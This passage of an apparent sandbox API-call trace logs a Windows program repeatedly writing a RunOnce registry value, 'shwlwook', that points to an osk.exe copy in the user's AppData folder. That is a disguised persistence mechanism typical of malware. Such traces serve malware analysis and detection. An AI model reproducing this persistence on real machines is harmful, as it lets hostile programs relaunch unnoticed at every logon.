(_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.110] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.111] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.111] RegCloseKey (hKey=0x644) returned 0x0 [0280.111] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.111] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.125] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.125] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.126] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.126] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.126] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.126] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.126] RegCloseKey (hKey=0x644) returned 0x0 [0280.127] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.127] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.141] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.141] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.141] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.142] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.142] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.142] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.142] RegCloseKey (hKey=0x644) returned 0x0 [0280.142] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.143] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.157] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.157] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.157] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.158] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.158] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.158] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.158] RegCloseKey (hKey=0x644) returned 0x0 [0280.159] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.159] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.172] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.172] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.172] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.173] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.173] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.173] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.173] RegCloseKey (hKey=0x644) returned 0x0 [0280.173] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.174] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.188] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.188] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.188] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.189] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.189] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.189] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.189] RegCloseKey (hKey=0x644) returned 0x0 [0280.189] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.190] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.204] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.204] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.204] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.205] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.205] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.205] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.205] RegCloseKey (hKey=0x644) returned 0x0 [0280.205] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.206] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.219] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.219] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.219] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.220] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.220] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.220] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.220] RegCloseKey (hKey=0x644) returned 0x0 [0280.220] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.221] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.238] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.238] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.239] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.239] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.239] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.239] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.239] RegCloseKey (hKey=0x644) returned 0x0 [0280.240] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.240] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.250] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.250] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.251] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.251] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.251] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.251] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.252] RegCloseKey (hKey=0x644) returned 0x0 [0280.252] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.252] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.266] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.266] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.266] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.267] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.267] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.267] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.267] RegCloseKey (hKey=0x644) returned 0x0 [0280.267] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.268] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.282] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.282] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.282] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.282] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.283] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.283] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.283] RegCloseKey (hKey=0x644) returned 0x0 [0280.283] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.283] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.297] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.297] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.297] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.298] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.298] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.298] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.298] RegCloseKey (hKey=0x644) returned 0x0 [0280.299] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.299] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.313] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.313] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.313] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.314] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.314] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.314] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.314] RegCloseKey (hKey=0x644) returned 0x0 [0280.315] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.315] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.328] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.328] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.329] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.329] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.329] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.330] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.330] RegCloseKey (hKey=0x644) returned 0x0 [0280.330] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.330] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.344] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.344] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.344] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.345] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.345] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.345] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.345] RegCloseKey (hKey=0x644) returned 0x0 [0280.345] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.346] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.359] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.359] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.360] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.360] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.360] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.361] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.361] RegCloseKey (hKey=0x644) returned 0x0 [0280.361] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.361] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.375] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.375] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.376] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.376] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.376] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.377] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.377] RegCloseKey (hKey=0x644) returned 0x0 [0280.377] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.377] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.391] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.391] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.391] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.392] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.392] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.392] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.392] RegCloseKey (hKey=0x644) returned 0x0 [0280.393] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.393] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.406] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.407] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.407] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.408] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.408] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.408] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.408] RegCloseKey (hKey=0x644) returned 0x0 [0280.408] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.409] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.422] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.422] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.423] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.423] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.423] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.424] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.424] RegCloseKey (hKey=0x644) returned 0x0 [0280.424] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.424] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.438] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.438] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.438] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.438] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.439] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.439] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.439] RegCloseKey (hKey=0x644) returned 0x0 [0280.439] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.439] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 